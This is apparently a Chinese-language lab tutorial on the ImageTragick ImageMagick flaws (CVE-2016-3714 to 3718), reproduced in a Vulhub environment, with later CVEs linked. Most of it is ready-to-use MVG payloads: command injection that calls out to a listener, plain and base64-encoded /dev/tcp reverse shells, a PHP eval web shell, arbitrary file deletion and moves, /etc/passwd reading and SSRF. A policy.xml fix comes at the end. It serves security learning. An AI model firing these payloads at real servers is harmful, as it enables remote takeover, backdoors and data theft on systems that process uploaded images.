一、Vulhub靶场搭建
二、漏洞利用
2.1 、运行漏洞环境
#进入漏洞环境所在路径 cd /vulhub/imagemagick/imagemagick #运行漏洞环境 docker-compose build && docker-compose up -d
2.2、构造POC文件,命名为test.jpg,脚本内容如下
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/joker.jpg"|curl "192.168.159.128:2233)' pop graphic-context
注:脚本中192.168.159.128:2233为另一台机器的ip和端口号,改为自己的,如使用阿里云等,记得配置安全规则
2.3、开启端口监听,在192.168.159.128机器上输入nc -lvp 2233
2.4、访问漏洞环境上传POC:http://192.168.159.66/upload.php
如图所示,在192.168.159.128上可监听到URL请求数据,但无回显可使用其他POC
/bin/bash -i >& /dev/tcp/192.168.236.138/8889 0>&1
请根据实际使用IP重新编码push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM2LjEzOC84ODg5IDA+JjE | base64 -d | bash`"||id " )' pop graphic-context
若出现以下错误可能跟系统有关,建议在server 2008或linux中进行测试
ImageMagick
一款使用量很广的图片处理程序,许多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等功能
本文就简单的做个汇总,细节就概述了
CVE-2016-3714— RCE
ImageMagick流行的原因之一,就是它功能强大,可以处理很多情况,而有一个功能delegate,作用是调用外部的lib来处理文件。调用外部lib就是执行system命令,从而产生命令执行漏洞
/etc/ImageMagick/delegates.xml <delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/> " 是 " 的html实体编码
解析https图片的时候,使用了curl命令将其下载,%o是curl输出的文件名,%M是远程的URL路径
command中 %M 直接拼接。漏洞产生,传入系统的system函数,payload只需使用反引号或闭合双引号,执行任意命令。
构造.mvg格式的图片,不用改后缀,ImageMagick会根据其内容识别为mvg图片,图片内容(POC)如下
无回显 可利用dnslog查看 push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/1.jpg"|whoami")' pop graphic-context 反弹shell push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvODg4OCAwPiYx== | base64 -d| bash ")' pop graphic-context 写shell push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")' pop graphic-context
CVE-2016-3715-任意文件删除
利用ImageMagick支持的伪协议ephemeral,处理特制图像时没有正确防防护,可以进行敏感操作,从而达到任意文件删除
使用以下内容创建文件 test.mvg, 图片超过0,0,0,0 使用该伪协议删除指定文件。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/home/user/document.txt' popgraphic-context
CVE-2016-3716-任意文件移动漏洞
利用ImageMagick支持的伪协议msl,msl协议运行指定的xml文件 (后缀可改,符合xml格式即可)
上传move.png 图片超过0,0,0,0 使用伪协议msl执行xml文件 ,
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/home/test.txt' popgraphic-context
/home/a.jpg 移动为 /var/www/shell.php 实现写shell
test.txt <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/home/a.jpg" /># File to be copied <write filename="/var/www/shell.php" /># Destination location </image>
CVE-2016-3717-本地文件读取漏洞
利用ImageMagick支持的伪协议label, 会生成一个 指定文本内容截图 的新图像(本地木有复现,是否是随机图像名呢,待测)
test.jpg push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context
CVE-2016-3718-SSRF
mvg格式中可以包含url,无回显的SSRF
push graphic-context viewbox 0 0 640 480 fill 'url(http://malicious_website.com/)' pop graphic-context
修复,配置/etc/ImageMagick/policy.xml,过滤,现在更新就行
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" /> </policymap>
CVE-2017-15277-内存泄露
影响范围:ImageMagick 7.0.6–1和Graphicsmagick 1.3.26
https://www.freebuf.com/vuls/189776.html
CVE-2017–8291-GhostScript Type Confusion RCE
不是ImageMagick漏洞,但ImageMagick受到影响
ImageMagick使用GhostScript来处理PostScript的某些类型的图像
https://paper.seebug.org/310/
http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/
https://hackerone.com/reports/302885
CVE-2018-16509-内存泄漏
Google Project Zero对该漏洞的分析:https://bugs.chromium.org/p/project-zero/issues/detail?id=1640
漏洞细节:https://medium.com/@NumbShiva/imagemagic-rce-f364a9f50a14
ExploitDB:https://www.exploit-db.com/exploits/45369/